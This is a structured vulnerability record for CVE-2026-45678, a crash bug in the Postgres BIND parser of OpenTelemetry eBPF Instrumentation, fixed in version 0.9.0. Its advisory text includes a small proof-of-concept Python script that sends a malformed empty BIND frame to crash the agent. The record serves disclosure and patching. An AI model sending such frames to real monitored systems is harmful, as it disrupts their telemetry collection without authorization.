{"id":"CVE-2026-45678","aliases":["CVE-2026-45678","GHSA-pgvv-q3wf-mm9m","GO-2026-5539"],"related":[],"kind":"vulnerability","state":"published","title":"OpenTelemetry eBPF Instrumentation: Postgres BIND parsing can panic on malformed payloads","summary":"OpenTelemetry eBPF Instrumentation provides eBPF instrumentation based on the OpenTelemetry standard. Prior to version 0.9.0, the Postgres protocol parser assumes BIND message payloads contain a valid NUL-terminated portal name. A crafted empty or unterminated payload can make OBI slice beyond the end of the captured buffer and panic. This issue has been patched in version 0.9.0.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"OpenTelemetry eBPF Instrumentation provides eBPF instrumentation based on the OpenTelemetry standard. Prior to version 0.9.0, the Postgres protocol parser assumes BIND message payloads contain a valid NUL-terminated portal name. A crafted empty or unterminated payload can make OBI slice beyond the end of the captured buffer and panic. This issue has been patched in version 0.9.0.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nThe Postgres protocol parser assumes `BIND` message payloads contain a valid NUL-terminated portal name. A crafted empty or unterminated payload can make OBI slice beyond the end of the captured buffer and panic.\n\n### Details\n\nThe vulnerable logic is in [pkg/ebpf/common/sql_detect_postgres.go](https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/blob/d5691806adc98008bacd2b7a4a4e0cd38ea51227/pkg/components/ebpf/common/sql_detect_postgres.go#L286-L294). In the `BIND` case, OBI converts the full payload to a string with `unix.ByteSliceToString(msg.data)`, computes `portalLen := len(portal) + 1`, and then slices `msg.data[portalLen:]` to derive the statement name.\n\nThere is no check that `msg.data` actually contains a NUL terminator or even enough bytes for `portalLen`. With an empty payload or a truncated message, `portalLen` can exceed the slice length and trigger a runtime panic.\n\n### PoC\n\nLocal testing with a minimal reproducer showed the expected `slice bounds out of range` crash for an empty BIND payload.\n\nUse a vulnerable build:\n\n```bash\ngit checkout v0.0.0-rc.1+build\nmake build\n```\n\nStart a local Postgres instance and OBI:\n\n```bash\ndocker run --rm -e POSTGRES_PASSWORD=postgres -p 5432:5432 postgres:17\nsudo ./bin/obi\n```\n\nSend a malformed `BIND` frame with an empty payload:\n\n```python\n# save as /tmp/pg-bind-poc.py\nimport socket, struct\n\ntag = b'B'\nlength = struct.pack(\">I\", 4)\npayload = b\"\"\n\ns = socket.create_connection((\"127.0.0.1\", 5432))\ns.sendall(tag + length + payload)\ns.close()\n```\n\nRun it:\n\n```bash\npython3 /tmp/pg-bind-poc.py\n```\n\nOn a vulnerable build, the Postgres parser in OBI panics while processing the captured payload.\n\n### Impact\n\nThis is a remote availability issue in OBI's Postgres parser. Any attacker able to send malformed Postgres traffic to a monitored service can crash the agent and stop telemetry collection for that node or process.","format":"markdown","source":"ghsa"},{"lang":"en","text":"OpenTelemetry eBPF Instrumentation: Postgres BIND parsing can panic on malformed payloads in go.opentelemetry.io/obi","format":"markdown","source":"go"},{"lang":"es","text":"OpenTelemetry eBPF Instrumentation proporciona instrumentación eBPF basada en el estándar OpenTelemetry. Antes de la versión 0.9.0, el analizador del protocolo Postgres asume que las cargas útiles de los mensajes BIND contienen un nombre de portal válido terminado en NUL. Una carga útil manipulada vacía o sin terminar puede hacer que OBI rebase el final del búfer capturado y entre en pánico. Este problema ha sido parcheado en la versión 0.9.0.","source":"nvd"}],"published":"2026-05-18T17:56:26.000Z","modified":"2026-07-22T19:10:00.120Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"}],"cwes":["CWE-20","CWE-754"],"affected":[{"ranges":[{"version":"< 0.9.0","status":"affected"}],"vendor":"open-telemetry","product":"opentelemetry-ebpf-instrumentation","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.9.0"}],"ecosystem":"Go","package":"go.opentelemetry.io/obi","purl":"pkg:golang/go.opentelemetry.io/obi","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.9.0"}],"ecosystem":"Go","package":"go.opentelemetry.io/obi","purl":"pkg:golang/go.opentelemetry.io/obi","source":"go"},{"ranges":[{"status":"affected","fixed":"0.9.0"}],"vendor":"opentelemetry","product":"ebpf_instrumentation","cpe":"cpe:2.3:a:opentelemetry:ebpf_instrumentation:*:*:*:*:*:go:*:*","source":"nvd"}],"references":[{"url":"https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/security/advisories/GHSA-pgvv-q3wf-mm9m","tags":["advisory","exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/releases/tag/v0.9.0","tags":["product","release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45678","tags":["advisory"],"sources":["ghsa","go"]},{"url":"https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-06-02T15:54:02.639Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-45678","url":"https://www.cve.org/CVERecord?id=CVE-2026-45678","licence":"CVE Terms of Use","modified":"2026-06-02T15:54:32.180Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-pgvv-q3wf-mm9m","url":"https://github.com/advisories/GHSA-pgvv-q3wf-mm9m","licence":"CC-BY-4.0","modified":"2026-06-25T23:11:04.445Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-5539","url":"https://pkg.go.dev/vuln/GO-2026-5539","licence":"CC-BY-4.0","modified":"2026-06-25T23:01:20.594Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-45678","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45678","licence":"Public domain","modified":"2026-07-22T19:10:00.120Z"}],"updatedAt":"2026-11-25T22:59:23.573Z","epss":{"score":0.00342,"percentile":0.29662,"date":"2026-12-01T12:00:22.000Z"}}